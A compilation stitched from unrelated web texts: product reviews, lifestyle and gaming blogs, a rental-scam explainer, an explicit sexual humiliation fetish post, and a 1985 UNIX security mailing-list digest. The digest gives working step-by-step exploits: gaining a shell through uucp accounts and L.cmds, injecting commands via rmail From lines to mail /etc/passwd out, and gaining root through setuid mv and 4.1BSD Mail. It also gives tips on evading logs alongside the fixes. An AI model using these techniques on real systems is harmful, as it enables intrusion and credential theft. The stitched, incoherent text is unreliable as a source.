?? editor?? why is it classified as an editor??it's basically a huge library with some tools (no editor).
this "was" a good program, why do these companys always think changing the format of a good program makes it better?
looks nice with the ribbon in outlook. word has a few new tricks.however, outlook will not work with my pop accounts.it gets one round of messages, stalls on the final message. a reboot or kill outlook via task manager is required to send or receive.deal breaker until beta 2.
it is freeware for windows also
okay, this is pretty cool.
same as second shadow's comments: "...miscategorized as freeware".and why does it need to communicate home to adobe? more of cloud's in fashion--let's charge for it i suspect.adobe, put your programmers to much better use such as improving the now-very-dated primitive correction filters in photoshop (dust removal, sharpness etc.) need hundreds of suggestions? then just ask.there's no way i'd waste my time with this junk.score: -5 except the system won't let me select it.now piss off and go broke.
the idea is really good, the demo songs are also really nice, the way they do it to keep compatibility with regular mp3 decoders is well thought. frauenhofer stores the additional surround info in a 16kbit/s in sidechannels so a regular stereo downmix still works.but for using it now it is way too early...mp3surround doesnt know streaming audio, and is quite slow on moving the timeline slider forward, even for normal mp3s.@ stycks:using cmss is not real surround sound, it adds just some hall effects, this codec has real 5.1 surround sound. you can't compare those 2for instance play doom3 with cmss upmix without using 3d 5.1 audio and then play it again with 5.1 .... there are worlds between the two..just wait until good demo songs are made, those provided didn't really blow my mind & ears...i'm sure some trance ppl will make some space sounding trance song that uses all 5.1 chanels and then shows what this codec is capable of.
i love winamp. i've been using it for more than a decade now.
no issues so far. installation was smooth as always..drivers are working fine in 2nd life. it's a 5

What's up with Suburbanites and their lawns? For decades, families have been obsessed with growing and grooming perfect green lawns. Fungicides, fertilizers, and mulching all for the sake of having your kids play in open landscape or providing a piss area for your dog. Why? To what end? It's an endless, cyclical cycle of one-upping the neighbors and spending money on a puzzling question, "How sustainable is your yard?"
Last year I spoke with homeowners in various cities from Pensacola, Boston, Miami, Atlanta and Los Angeles. All complained about the higher prices of water, which is essential for basic seed growth. All also experimented with organic fertilizers to prevent run-off of toxic chemicals into the water table and not to mention the need for gas for hourly mowing, trimming and edging.Fast forward, the trend I've been seeing is that lawns are disappearing. In their place are an interesting mixture of ground covers, succulents, ivy, shrubs, and evergreens. Although more yards are including compost bins, rain barrels and other sustainable features, the benefit of having less lawn and an anchor of native plants is coming more attractive. Our busy lives and shrinking wallets from the recession gives us less time and money to maintain grass blades and weeds. Why not opt for a sustainable yard that offers less maintenance, disease resistant and doesn't have to be artificially feed?

Developing a building productIndustryPosted by Dan Engström Sat, November 05, 2011 00:32:41
Sometimes, things just come together. I'd like to tell you about this neat sports hall we've developed at NCC. We made a deal with the Swedish Handball Federation that we'd develop a simple sports hall for kids practicing handball. Being the guy that was actually given that task, I am still amazed as to how successful we were simply by applying product logic to a task we normally would perform as a traditional project. Its homepage in Swedish is here.
It is in fact a product in that it has an given organisation behind it, it is designed to fit a brief we wrote to cater for a defined market segment, prepared modular options to chose from for the client and systematic improvements between projects. The key is repetition. What would we do if we were to build this over and over? We'd be prepared.
We started out by writing our own brief: "A simple sports hall for practices and lower-tier matches, for handball and similar sports, with focus on young athletes". It looks better in Swedish, but you get the idea. So, next we identified what traits in the hall are needed for it to live up to the brief and still be a worthy sporting environment. Using our personal experience from handball, and from maintenance and production of sports halls, we decided that it needed a full sized court, proper lighting, the right sports floor and a handful of other traits. We did not save any money on them, we just tried to be smart. But. We scratched everything else.
Read that again. We scratched everything else. If it wasn't needed for a worthy, functional sporting environment for kids playing handball, it went out the window. The end result is a fine sports hall for exactly the brief. If you want something else, my colleagues will be happy build it, but we will not be able to match the price we ask for this prodict, which typically is half the price of a traditional sports hall.
It all sounds well and dandy; getting a great sports hall for half the price you expect. But, the other price you pay is that you get a hall that ideally suits the brief we wrote, not the brief you might expect to write. This is the key to the product logic. We learn the drivers for the clients in the market segment we are looking to address and design a product that should be perfect for them. This is a product developed before there is a site set. Because of this, we might miss out on business beacuse our product is not well suited to local conditions. But that is a risk that is inherent in product thinking - in order to utilise the learning curve over several projects, we must standardise.
In order to mitigate the standardisation we were forced to make, we have prepared optional extras. Since the inception of this hall in 2006, we have had the privelege of building this product in different versions for about thirty clients. The different versions we've built get included in the product as options, so for every one we build, the next client has another option to choose from.
But you as a client might want something outside of the scope of our options. With the strict product logic that comes with large series of manufacturing, we would decline that contract. But since this product has long servicelife and gets built in small series, there is room for customisation by the client even slightly outside of the prepared options. And so, another version is born.
This is somewhat of an experiment, turning the tables like this on our regular processes. So far it has been successful and we aim to keep it that way. It had - has - its share of teething problems, so it might serve its purpose the better here as illustration to the logic of products.
Finally, I'd like to share with you what happened when we offered a municipality a hall for the first time. We submitted a parallel tender to the design/bid/build brief and offered our product at half the price of the one in the brief, almsot without changing the brief. Almost. Well. The municipality stopped the procurement process, redesigned the hall to fit the specifications of our product and restarted the process. The contract went to a competitor. They were marginally cheaper because they saved on the worthy environment part.
We're trying hard to improve. We do not always succeed. But municipalities reading the law of public procurement like the devil reads the bible does not contribute to ... well ... anything.

Over the past several months, I've received more requests for the best inexpensive stick vacuum than all other such requests combined. And I get it. I've been looking for my ideal stick vacuum for so long, I'd just about come to the conclusion that my expectations are completely unreasonable—my perfect stick vacuum doesn't exist.
For me, a stick vacuum is not a substitute for a good, powerful household vacuum that can pull dirt, dust and debris from deep within the pile of a carpet. Just so you know, I am not looking to get rid of my beloved Sharky. Never! A stick vacuum has a different purpose altogether.
It's a simple tool designed for quick pick-ups; to clean up spills in the kitchen, tracked in sand, dirt, pet hair, cat litter, dust, and loose debris when you don't have the time or inclination to haul out a full size vacuum cleaner for such a small task.
A good way to think of a stick vacuum is that it's an electric broom and dustpan in one. It "sweeps" up and then vacuums away debris in a single pass without the need for the user to bend over or get down on the floor.
My dream stick vacuum would be cordless with a run time of at least 20 minutes and able to stand alone. In my dreams this stick vacuum is so lightweight I can easily carry it up and down stairs in one hand while carrying a load in the other. It must have an on/off switch so that I don't have to continuously hold down a trigger during operation.
It needs a generous size dirt and debris cup that is easy to empty and also washable because I like my appliances to be nice and clean. This dreamy stick vacuum would be quiet in operation and able hold a charge while not in use so I could have the option to store it in a closet away from the charger knowing it's ready to go when needed.
I'll admit that's a lot of must-haves, but if I could ask for just one more feature, I would want it to be nice looking in a subtle way so that if I were to ever leave it out, it would add a little beauty to the place, not stand out like a sore thumb.
By now you've guessed that my dream stick vacuum does exist—I found it. And to my surprise, it has features I'd never thought about like headlights and a swivel head that pivots around table legs and slides under furniture. I've been using my new Eufy HomeVac Cordless Upright-Style Vacuum Cleaner (I call it a stick vac) for about month now and I'm in love.
Eufy weighs about 5 pounds—half the weight of most competitors. And it's whisper quiet when in operation. Eufy is perfectly balanced to stand alone and a powerhouse of suction with its 28.8 volts of power—far more powerful than other stick vacs out there
This Eufy has a large 2200 mAh Li-ion (lithium) battery and boy does it deliver! We're talking cordless performance for up to 50 minutes of vacuuming on a single charge when used in economy mode. I can use it in full power mode (it has two speeds) for nearly 30 minutes—and no trigger to hold down because it has an on/off button. I'm learning the beauty of a Li-ion battery is that once charged, it holds that charge for months—losing only 5% a month when not in use. Eufy even has a "fuel gauge" that tells me how much charge remains. It's amazing how it just keeps going and going … and going!
Speaking of charging, the way I charge Eufy reminds me of the way I charge my mobile phone. It comes with a simple charger that plugs into the back and I can use it with any electrical outlet. It doesn't have to sit in a "dock." It can stand on its own while being charged, or hung on a wall via the wall mount accessory. And if all this is not enough, this Eufy comes with a 15-month warranty from the manufacturer.
This Eufy stick vac has a big dirt cup that is easily removed to be emptied and can be washed in the sink. Eufy has a rolling brush that is also easily removed to be cleaned. This stick vac is completely self-contained with nothing complicated to deal with or keep track of—no attachments, wands, or hoses. It's beautiful too—black and very sleek.

Given that one knows the password of an account on the target machine with the same uid as uucp (it is common practice to have a uu<host> login for each neighboring uucp host), this is what to do to get a shell on the target without any previous access to that machine: 1. ftp target Login on the uu<host> account you know the password of (say, 'uuhost'). Within ftp now, do: 2. cd /usr/lib/uucp 3. get L.cmds 4. ^Z # suspend ftp Augment the local copy of the remote host's L.cmds file with whatever commands you want to be able to execute. 5. echo chsh >> L.cmds # add 'chsh' to the L.cmds file 6. fg # get back into ftp 7. put L.cmds 8. bye # finish the ftp session Now uux on the target machine will think chsh is a valid command to execute. 9. uux 'target!chsh /bin/csh' # arrange to execute the chsh command Wait until the uux has finished Dial up (or use network) to login to target machine as uuhost, known passwd. Presto, infiltration of host. Needless to say, uucp owned programs are prime candidates for trojan horses, etc... Go looking for more host-password combinations in L.sys Repeat with all hosts in L.sys that are reachable with ftp. If you just wanted this information, you could have gotten L.sys in step 3 above, and only one line (in wtmp - the ftp login) would indicate what had happened. The trail left behind by the above steps, on the target machine, is an entry in wtmp showing ftp login to uu<host>, and a couple of lines in LOGFILE for the uux. Since LOGFILE is owned by uucp that is easily cleaned up. The consequences of doing this on the ARPAnet are a bit mindboggling; a couple of hundred (?) machines compromised perhaps. Not to mention the leakage of phone numbers and access sequences (through some switch e.g.), which can hurt *all* machines mentioned in the L.sys files. Immediate fix: Make sure all your uucp alias account names are mentioned in /etc/ftpusers. Better (?) fix: Change ftp to check against the uid of the accounts mentioned in ftpusers, not just the name itself. ---- Subtle ways of breaking security: The traditional 'fix' to the well-known .forward security hole of uucp (letting the thing to forward to be a program that will then run with uucp privilidges on the victim host and then sending mail to uucp), namely to set up a mail alias for uucp, can be circumvented. (pheew - sorry) To circumvent a /usr/lib/aliases alias for uucp, arrange to execute the following on the victim host: rmail uucp << \EOF >From host!user${IFS}-n sljdf EOF (e.g. by 'uux - host!rmail uucp << \EOF' etc.) To get the password (or L.sys...) file mailed to you: use uux to create the following situation on a remote host: rmail someone << \EOF >From x!y${IFS}someone;mail${IFS}you</etc/passwd;echo anything EOF I do believe this is nearly untraceable... i.e. it will of course show up in LOGFILE, SYSLOG, syslog, acct, etc, but it can look *very* innocent. The only limit on this is that the last '!' after the From must be followed by less than 64 characters to the end of line. This limit is due to the buffer size used by rmail for the From line and individual components. The simple fix to rmail.c is to check for (and throw away - or bring to the attention of root) mail that contains a $ sign anywhere in the From line. Note that with appropriate incantations, and luck, one can corrupt systems more than one hop away. Note: this hole only exists on systems running sendmail's rmail from 4.2. I doubt it exists on other systems, but PLEASE CHECK. ---- Sleep well... rayan Rayan Zachariassen, University of Toronto UUCP {ihnp4 utzoo decwrl uw-beaver}!utcsri![utflis!]rayan CSNet rayan@toronto ARPA rayan%toronto@csnet-relay ---------------------------------------------------------------------------- From: ihnp4!decvax!cwruecmp!nitrex!rob Date: Fri, 26 Jul 85 15:02:26 edt Subject: Unix PC's mv has the uid bit set A friend just pointed this out, I don't really know if it is old news or not, but on the Unix Pc the system software is shipped with the set uid bit set on /bin/mv. This enables a user to copy the passwd file to their directory edit out the root passwd, copy it back and then su to root. This is a real security breach, especially in the area AT&T is marketing the Unix pc to, the business users, who as a whole don't even know what a set uid bit is. rob robertson !decvax!cwruecmp!nitrex!rob ---------------------------------------------------------------------------- From: ihnp4!plus5!root Date: 28 Jul 85 13:13:52 CDT (Sun) Subject: Mail security The mailing of the security list is very interesting! I was trying to think of a way to keep unauthorized people from seeing the stuff (not significant here, but other places are not so lucky). Unfortunately, most sites which run sendmail (or those which use mailx as rmail) cannot protect against people changing the aliases file and getting copies for themselves! I think it may be neccessary for the mail systems to provide for (at least) two separate alias lists. One which is writable (and perhaps only readable) by trusted users, and another which is generally writable. THis way, root mail (and any other "dangerous" users) could be aliased from the secure alias file only. Of course, the mailer would have to prevent aliases from being used in the public alias list if the user was mentioned in the private list. There is an additional problem with mailx. Mailx will permit the aliasing of *remote* users. This means that if a site upstream mailx (or Mail) as rmail, it can grab copies of mail sent to specific users at downstream sites! I suspect the only solution is to use encrypted mail, which is not really available. Hokey ---------------------------------------------------------------------------- Subject: 4.1BSD Mail security hole Date: 31 Jul 85 23:27:39 N (Wed) From: Bjorn Eriksen <hao!seismo!enea!ber> I'm not sure if this has been out before and perhaps it's obsolite as it concerns Mail in 4.1BSD, but some might still use it. Recently I had to help a 4.1BSD site that had run out of disk space on /usr as I had sent them to much news. Their superuser was on vacation so I had to do it myself. I have a guest account on that machine and started to look for a security hole. Mail is always a good start. 4.1 has /usr/bin/mail setuid to root and when saving mail in a file it doesn't check permissions, so I mailed myself a letter with a passwd-entry, one just like root but without password and another login name. When I got the mail delivered I could then just let /usr/ucb/mail append that letter to /etc/passwd and then 'su' to this new root account. PS. I fixed there disk problem and notified their sysadmin about this new problem. As I don't have the 4.1 source around anymore I don't have a fix. This problem does not exist in 4.2. Anyone know why mail had to be setuid to root? -------- Bjorn Eriksen ENEA DATA Sweden UUCP: {seismo,mcvax,cernvax,diku,ircam,prlb2,tut,ukc,unido}!enea!ber ARPA: email@example.com ---------------------------------------------------------------------------- The UNIX security issues mail list Ignore the headers on this list and mail to: ...denelcor!security (mail for the list). ...denelcor!sec-request (administrativia).

Men to Avoid
Don't kiss these frogs
By: Courtney Beardsworth
The Vagabond
While this nomad seems carefree and adventurous with all of his possessions secured firmly to his back, beware. He never stays put for too long and you will be constantly chasing him around the globe. Sure, traveling through Europe together without a plan sounds thrilling and edgy – until you're sleeping on a park bench somewhere in Bohemia. This man can't commit because he'll always be in love with somebody else – the world.
The Mama's Boy
Aw, isn't it sweet that he has a picture of his mom on his nightstand? Did you ever notice that is the only picture he has in his apartment? This boy can't make decisions without consulting his mom first. Asking her which color he should paint his walls seems innocent, but you run the risk of him asking her what color underwear he should wear too. But dont worry; youll always have a place in his heart—second place.
The Free-Sprit
He's told you about the "cosmic connection" you two have, right? Get your head out of the clouds! He'll break you in like a good pair of Birkenstocks, but as soon as the relationship starts to stink, he'll throw you on top of that compost heap. This dude is likely to leave you alone at the campfire while he's busy reminiscing with a girl named Freedom about the last Phish show. When you ask him to settle down he'll say, "Man, I've got this wandering soul and I need to go where the wind takes me. But, don't you worry. When I look at the stars, I'll think of your groovy soul."
The 50/50 guy
"OK, you had the steak, the red wine and most of the dessert so you owe $58.69. That includes your share of the tip and tax." If this guy is going to split food bills down the middle, he's likely to be that way about everything in your relationship. When you're stranded in the bathroom without toilet paper, he'll remind you it's your turn to buy some. Translation: he's cheap and apparently doesn't think you deserve more… than 50 percent.
The Mentally Unstable
Relationships are hard enough. Steer clear of the guy who can't take care of himself properly. The odds are that he will melt your heart like a little puppy dog, but after a while there's going to be a lot of poop to clean up. You will become his therapist and once he feels you have given him wings, he will fly… away from you.
Mister Inconsistent
This is the man with stories that never seem to line up. He boasts about his time spent in the wine country, but can't tell the difference between a glass of Chardonnay or Cabernet. You love art and ironically so does he, but he's pretty sure Raphael was a cartoon turtle he watched when he was a kid.
Tell us: Have you dated one of these stereotypical "men to avoid"?

The first one, if you remember, was to go into his local La Senza store and purchase a nice, lacy pair of panties.
Well, he did this, and as I predicted, the Sales Assistant knew exactly who the panties were for, giving him a very knowing smile. Poor perv-boy couldn't get out of there fast enough!
So, I thought it was rather fitting to make him go into another shop and purchase a lovely pair of frenchy knickers. Sadly, the ladies there were very professional and didn't let on what they knew. Not humiliating enough by my standards!
I should also point out that he has been in chastity for 8 days, which is record in itself, as normally, be can barely last 8 minutes before he has his next wank. So tonight, I made him put on the french knickers, and wank himself into them.
Then came his next assignment! He has been instructed to take a picture of himself wearing the panties, complete with cum stain, and post them on an adult contacts site, complete with a description of himself, and his "activities", along with pleas for people to humiliate him. Oh I'm going to enjoy this one!

How We Make Sugar
Erratic weather patterns in 2000 make root maggot population predictions for 2001 somewhat difficult. In general root maggot populations were lower in all Minnesota counties in 2000. In North Dakota root maggot populations were lower south of Grand Forks. Adult fly survey counts by American Crystal Sugar Company agriculturists and NDSU scientists determined numbers to be moderate in southern Walsh County and along the Red River in Pembina and Walsh counties. Fly counts in northern Walsh County and Pembina County were at near all time record high levels in some townships, figure 1.
Your agriculturist has fly count numbers for your specific township in the RRV. The Pest Alert area of crystalsugar.com in the agronomy section has actual fly count numbers for May and June 2000 and site specific maps of fly populations.
NDSU scientists are recommending insecticide rates based on expected root maggot population levels in 2001. High label rates of insecticides are not needed in low and moderate SBRM population areas, table 1. The 6-lb./acre-application rate of Counter should also effectively control wireworm problems.

Craigslist Rental Scams Revealed
Thanks to the Internet it's never been easier for scammers to steal thousands of dollars from their victims every year and Craigslist is one of their favorite websites to use because with Craigslist.org a scammer anywhere in the world, even in Nigeria.
All a scammer has to do is use a VPN to mask their IP address and Craigslist will think that they are in the United States than when they combine that with a web-based email address like Gmail, it gets even harder for a scammers identity to be revealed, or for them to be found.
How Do San Diego Craigslist Rental Scams Work?
When it comes time for you to market your rental property online you're going to probably take lots of photos to post on Craigslist.org along with writing a great description about your listing right?
Basically, a scammer copies the photos, basic verbiage and post the home on craigslist for a well below market price. Then they simply attach an untraceable phone number (think google voice) and generic email and they fish for potential targets.
Their targets include People who are in a situation where they need a home fast and are not very experienced with renting. These unfortunate prospects will make the mistake of believing the "story" they are being spun and will end up wiring money or worse giving personal information (social security, birthdate, driver's license).
The Scammers Succeed with Telling A "Story"
Sadly, people looking for rental properties on San Diego Craigslist get scammed every day because they will believe the scammer's story which often will include something like:
- They are on a missionary trip out of the country.
- They had to move out of state at the last minute due to job transfer.
A scammer will typically talk with their victim via email and encourage them to visit the property, even peek in the windows, then email them back and let the scammer know if they are interested in renting the property or not.
Why Landlords / DIY Owners Get Scammed on Craigslist
Here is what we see from your general do it yourself landlord and how their property is scammed:
- Homeowners don't use watermarks on their photos like professional companies, therefore the pictures they post are easily duplicated and posted online.
- This also applies to professional signage, flyers, etc.…Prospects directed to by the home or peek in the window don't see any red flags to cause them to think that the scammer is not the homeowner.
- Homeowners tend to use craigslist exclusively – and you guessed it, that is the #1 place we find scams. Craigslist also syndicates to hot pads and pad mapper so eventually, just a few well placed "scam" ads can supplant the real advertisement throughout the internet.
Can the Authorities Do Anything to Stop Craigslist Scammers?
One of the sad things about Craigslist scams is that the authorities are literally powerless to stop scammers because, proxy servers and VPN networks like www.hidemyass.com make it easy for anyone, anywhere in the world to mask their identity and real location.
Anytime a victim reaches out to the authorities or media their efforts are almost always met with zero results with bringing the scammer to justice because the scammer can always shut down their fake identity or email account and start over with another online identity.
What should a landlord/owner do to avoid getting scammed?
Try changing photos and post a sign outside their home with flyers that lists the correct contact info and price, but the reality is that hiring a professional property management company is the best defense, especially for these reasons:
- A professional will use watermarks and embedded HTML listings…prospects will be able to discern that these are legitimate postings.
- Search engine power. Professional companies like GWM often are recognized by Zillow, Trulia, and other syndication partners throughout the internet. This means when there is conflicting home data, the syndication sites will opt for the more trusted partner: Scammers ads fall by the wayside while pro postings remain.
- Pro companies also have a database of prospects already…they aren't stuck to craigslist and maybe a $30 rentals.com ad.
- Professional signage and flyers – When a prospect drives by, they see the sign out front and they call the number…this alerts them that the ad they saw is a scam and that helps shut it down quickly. Scammers don't want to waste time on properties that are not going to bear fruit, so they will give up on the pro managed home and move on to the easier self-managed properties.
- Professional showings – having a dedicated and licensed agent to show prospects allows peace of mind for both the homeowner and the renter prospect. In addition, a professional application, usually online thru a secured system, gives a potential Tenant the confidence to apply without having to worry about their information being hijacked.
Scamming is a big issue that affects both homeowner and renter. Without a professional company advertising and representing your interest, Landlords may have difficulty procuring "A" rated Tenants. And with the rise of these types of scams, renters are being more cautious about pulling the trigger on a home that they believe may be "too good to be true." That will have a dramatic effect on the do it yourself Landlord who is trying to cover their mortgage.
Don't wait until it's too late, call a property manager who can protect your investment.

Email encryption made simple with ProtonMail
January 2, 2015
I was glad to see an email from ProtonMail this morning saying that my beta account was ready (^^,) I clicked on the provided link & created my email account. The setup was simple and straightforward. It already filled up my username and I couldn't change it. It was the same username as I had chosen when signing-up for a beta test months ago.
What is ProtonMail?
ProtonMail is a web-based encrypted email service. It was started by some folks who met at CERN Research Facility. Talks continued at the MIT Campus and with some guidance from the MIT Venture Mentoring Service they turned their idea into something real.
Email messages are both stored and transferred in an encrypted format. The mechanisms behind ProtonMail rely on open source cryptography, AES, RSA and OpenPGP.
Emails sent to a recipient will self-destruct once they expire. Oh, I so much love this feature. The email deletes itself once the purpose served. One may set the number of hours for the email to live, after which the message deletes itself. In the case of unencrypted emails the messages can be left not to self-destruct. However, if the time isn't set for encrypted emails, the same will auto-destroy in 4 weeks (set by default, also that's the maximum life). During my test though the message has been set to auto-destroy in 2 weeks time, when I left the default settings.
When an encrypted email is sent to a non-ProtonMail user, the latter receives a notification with a link to access the encrypted message.
Upon clicking the link, the person is prompted to enter the password to decrypt the email. One needs to communicate the decryption password to the person.
Upon successful decryption, the message is displayed.
Been a while I wanted a simple to use web-based email encryption facility. ProtonMail came up with what I need.
Keeping in mind that this service is security-centric, I was expecting that web form autocomplete feature is disabled globally. Right now, my browser prompts me to remember encryption & decryption passwords, which makes no sense.

Why data matters to gender equality
Published date
Tuesday, May 21, 2019 - 14:30
The Livestock Vaccine Innovation Fund (LVIF) is pleased to announce CA$6.3 million in research funding for four new projects.
IDRC is joining thousands of leaders and advocates from all over the world to revitalize efforts to achieve gender equality at the Women Deliver 2019 conference in Vancouver from June 3 to 6. Conference delegates can attend several IDRC-hosted events and visit the IDRC booth to learn how the knowledge, innovations, and solutions we support with our many research partners are empowering women and girls.
As the open data movement enters a new phase in its evolution, shifting to target real-world problems and embed open data thinking into other existing or emerging communities of practice, big questions still remain.

It's interesting how certain words you use to describe things can derive from a whole other meaning. It may sound silly, but I only recently descovered that "Indie" music is really short for "Independent" music. However, when you think about the true meaning of Indie, it makes sense. Indie bands aren't signed to any big record labels, which categorizes them as "independent." The same goes for Indie music listeners. They're labeled as "independents" because they listen to underground music that wasn't influenced by others. For people who listen to indie, the music is about emotion and individuality, not tuning in to the mainstream "pop" or "R & B" songs we hear 10,000 times a day on the radio. In brief, indie music is unique, truer, and less perfect than most of these "big label" songs and artists. It includes the less cookie-cutter versions of punk, alternatve rock, and heavy metal, however it allows more space for more creativity.
So what is the deal with these mysterious independant music listeners? What makes them so unique and how does the indie music lifestyle effect them as individuals? You could say that Indie music is a cultural phenomenon that shapes how listeners behave specifically in regards to the music they listen to. Indie music fans are more passionate and proud because they choose music based on their own discoveries rather than choosing to follow the overrated musical trend of the radio. It makes poeple feel individualistic and free from the outside control of societal tendencies. There is no other genre of music that effects the individuality of someone greater than that of indie music.
For those who might make decisions based off of the influences of others too often, I reccommed becoming more "indie"pendant. You won't regret the liberating effect it has on the mind as well as it's ability to alter someones overall perspective on musical culture. One of my all time favorite Indie bands is Arctic Monkeys. They were signed to an independent record label over 10 years ago and have reached great success with their unique and relatable sound since. Arctic Monkeys are among some of the best Indie rock bands that have proven their originality and good taste in "different" music. When listening to their songs, Arctic Monkeys fans really get to embrace the unique side of their personalities. Check out this next song called "Do I Wanna Know?" just released from their new album!

About 30% of the 200-odd audience were vocal skeptics/denialists, apparently there to hear their guru take down the brash scientist.
It seems to me that the skeptics demographic was oldish, often grey and/or balding, mostly male. They were quite affronted by much of what Karoly said. "Don't insult our intelligence" was one taunt they shouted. They were spoiling for a shouting match.
Kininmonth basically said the earth is a bit warmer, but that it doesn't matter, and that increasing CO2 won't have any significant impact on climate change. He thinks were in the midst of a natural cycle, and that humans have no impact. His presentation was a wierd amalgam of unrelated observations, and contained several errors of interpretation, as David Karoly pointed out during the debate.
In question time I asked Kininmonth what he would say to his children and grand children if he was wrong on climate change, didn't take action to address it (as he recommeneds) and in 2020 we lost the Great Barrier Reef, Kakadu wetlands and snow in Australia.
There were howls and guffaws from the skeptics in the audience. He didn't answer the question. Instead, he continued to talk about why CO2 doesn't matter, why there really isn't a problem, and why we cannot afford to give up our modern energy hungry lifestyles. I said he didn't answer my question. He said he was "comfortable with talking to his children and grand children."
A Liberal Councillor present (who may also be a skeptic) later mentioned to a friend that "I had asked a leading question". Well yes, it was hypothetical. . .
It seems to me that the skeptics are actually very scared of climate change. They have constructed their own reality in place of the one informed by scientific observation. When you challenge their alternative reality they react with fear, loathing and anger.
While there were clearly rent-a-skeptics in the crowd - word had got around they should be there - I think we will see similar reactions (albiet less extreme) in the wider community too. Our civilisation seems to be entering a time of stress and peril.
I think we need some real and effective leadership to handle this - and I don't think the majority of our political leaders from both major parties are up to it.
Good on you Leon for organising this forum. It was very interesting to participate.
It will be interesting to see how the new Boroondara Council will take action on climate change, and whether they lead the community towards solutions.

Monthly Archives: October 2011
Mists of Pandaria! Aka, MoP…
We got a crapton of information dropped on our heads today, so I'm going to take a minute to try to make sense of it…
The new expansion:
PANDAS. Who doesn't like pandas? Ridiculous people, that's who. People have been requesting Pandaren for a very long time and I'm happy to see such a popular race brought into the game…even if it never really existed before. I really want to see female pandaren…if they even exist. They have to exist right?
The new graphics:
Maybe not "new" per se, but definitely improved. The new island looks fantastic. I don't care if WoW ever updates its graphics to mimic Aion or Rift or any of these newfangled games these kids are playing nowadays, but seeing them put the effort forth to make the art and the animations really come to life is great. It's a double edged sword though…time will tell if my computer can handle anything too lavishly updated.
The new class:
MONKS! Really excited for a whole new class to play. And a new hybrid class to boot? Yes please! I can't wait to try it out. Not sure if I am enamored with their choice of armor class though. Freakin' loot competition. I'm just glad they start at level 1!
The new talent system:
I haven't looked it over much yet. A step in the right direction? Maybe. I'll reserve any further comments for when I actually get to play with the thing. But I have high hopes! The talent system in Cataclysm was great.
The new pet battle system:
Uh…okay, I'm on the fence. For one, it looks like a shameless and rather disturbing replica of Pokeman. Don't get me wrong, I grew up with Pokeman. I loved Pokeman (and, okay, I still do. Sue me). It feels kinda ripped off. But on the other side of this coin, I'm super excited to get to do something with my mini pets besides hoard them all in my bags and show them off with my nose in the air. I can see this being the type of thing I'm going to be massively addicted to (as if I need anything else…) and this is another thing I think I should reserve judgment on until I get to play with it. I'm also curious how pet collecting achievements will work now if you can just go out into the wild and "capture" critters or whatever. It kinda takes the challenge out of collecting large numbers of pets, but at the same time it also opens it up for us to collect a wider array of things.
In conclusion:
I'm super duper excited…but there is one thing dampening my enthusiasm. The number of characters currently allowed per server. I'm maxed, and almost everyone is level 85. Now if push comes to shove, I can deal with having to delete (or, if funds permit, transfer) a character to make room for a panda…but I feel that it is now well within the bounds of reasonable for us to ask Blizzard, seriously now, for more characters per realm. As a friend said to me, it would be poor design on their part to give us 11 classes and only allow us to play 10 of them on one server. Some folks will rail against that notion and try to stomp on those of us who like to play multiple characters, but I stand firm. We need another character slot. And until we get it, I'm going to curb my enthusiasm for a class and a race that will, at best, become a neglected alt on another realm.
Also, I signed myself up for the new Annual Pass thing. If you're craving a beta invite as badly as I am (I got in once and now I cannot fathom not doing so again) then you might look in to it. You don't pay any more money than you would normally for 12 months of WoW, and since I'm certain I will still be here chuggin' along in a year it was a no brainer.
Littlest Pet Shop!
The newly redone Hallows End holiday granted me two new pets, the Creepy Crate and the Feline Familiar, bringing my pet total to 148. So I got my ass in gear and ran to the Argent Tournament grounds (barf!) to finally grind out my last pet there. The Shimmering Wyrmling may be boring but it was one pet closer to the achievement. And now, with a little luck, I will never have to return to Icecrown ever again! Unless I suddenly decide to grind out 100s of seals for the mounts…no thanks.
So now, sitting at 149 pets this morning, I was faced with a few options. Option one: drop 5,000 gold on the auction house for any number of rare pets I don't have yet, such as most of the whelps. Option two: go farm them myself and hope I don't go mad in the process. Option three: cave and buy one of the Blizzard pets online, either from the official store or through the trading game loot cards.
I hate spending money, either gold or cash, but as I ran back and forth across the wetlands killing Ebon Whelps for the two pets they drop, it started to sound like a good idea. Still, in a last ditch effort to earn this achievement without spending real money, I checked first the neutral Auction House on an alt (since the goblins like to make meat pies out of my druid) and then trudged to the Stormwind Auction house one last time…
I've been checking the auction house religiously for months on end now, looking for good deals on pets I don't have the sanity to farm myself. I've gotten lucky a few times, snatching up the Horde pets from the Tournament for a pittance (the neutral AH was loaded with them for 1k each, vastly cheaper than I have ever seen them) and picking up the engineering pets for cheaper than I could make them myself. But when it came down to the wire and there were only a few pets I had yet to collect, I couldn't really afford it. 10k for a whelp here, 7k there…I just spent 29k for a dragon mount, do you think my pockets are bursting?
And then something awesome happened. Even though I checked the AH when I logged on this morning, I decided to check it again about an hour later just on the off chance something new had been put up.
And I found, to my amazement, a Hyacinth Macaw selling for a buyout of 1100 gold (the other macaw regularly on the AH was selling for 11k). How fast do you think I jumped on that?
So I bought it out and quickly added it to my collection, watched my screen light up with achievement sparklies, and then danced circles around the mailbox as I waited for the little star dragon to be sent to me. Here he is:
Am I done pet collecting? Maybe for a while. Until I get the urge to massacre thousands of innocent dragon babies or run back and forth across Kalimdor in search of Tol'vir artifacts, that is.
Oh, and the seller of the macaw? Totally lamenting the loss of gold for his under-priced item. I have the whispers to prove it. We'll call it a cautionary tale.
Werk Werk
No, I didnt die. I'm still here, if you look closely enough under the heaping mounds of textbooks and journal articles and homework.
School doesnt afford me a lot of leisure time, and I admit to spending it elsewhere than WoW when it does. Still, I havent been completely inactive. I'm still plugging along on various achievements, namely the 150 pet collection and the Glory of the Cataclysm Hero. I got the latter a few days back thanks to my guild and a few helpful non-guildies. I'm tanking more than I am healing these days and it's pretty fun.
Anyway, I'm 4 pets away from the 150 achievement and those last 4 are proving to be harsh. Now, I could totally go raid the Blizzard store and get the achievement for 40 bucks. But I dont have 40 bucks (that I want to spend on pixels) so I am working on the pets in a more "legitimate" fashion.
I am diligently plugging away at archaeology in hopes that the Crawling Claw will pop up. So far I have solved something like 30 Tol'vir artifacts and no dice…er, claw. I got the mount though so I guess I should be happy. I am also procrastinating on the Argent Tournament dailies to get my very last pet there, the little wyrmling. That just requires the desire to head all the way to Icecrown and slog through a bunch of quests that I was tired of when they were new…
And then the other two pets I will either have to snipe off the auction house for a low price (I keep seeing some of the dragon whelps up for decent prices, but I always think they could be lower, so I wait and then they get more expensive) or I will have to bite the bullet and go farm them myself.
Either way, I will make that little hyperactive celestial dragon thing my own!

Could nose cells help repair knees?
The Lancet: Swiss doctors report success of using cells from the nose to repair damaged knee joints 2 years post operation
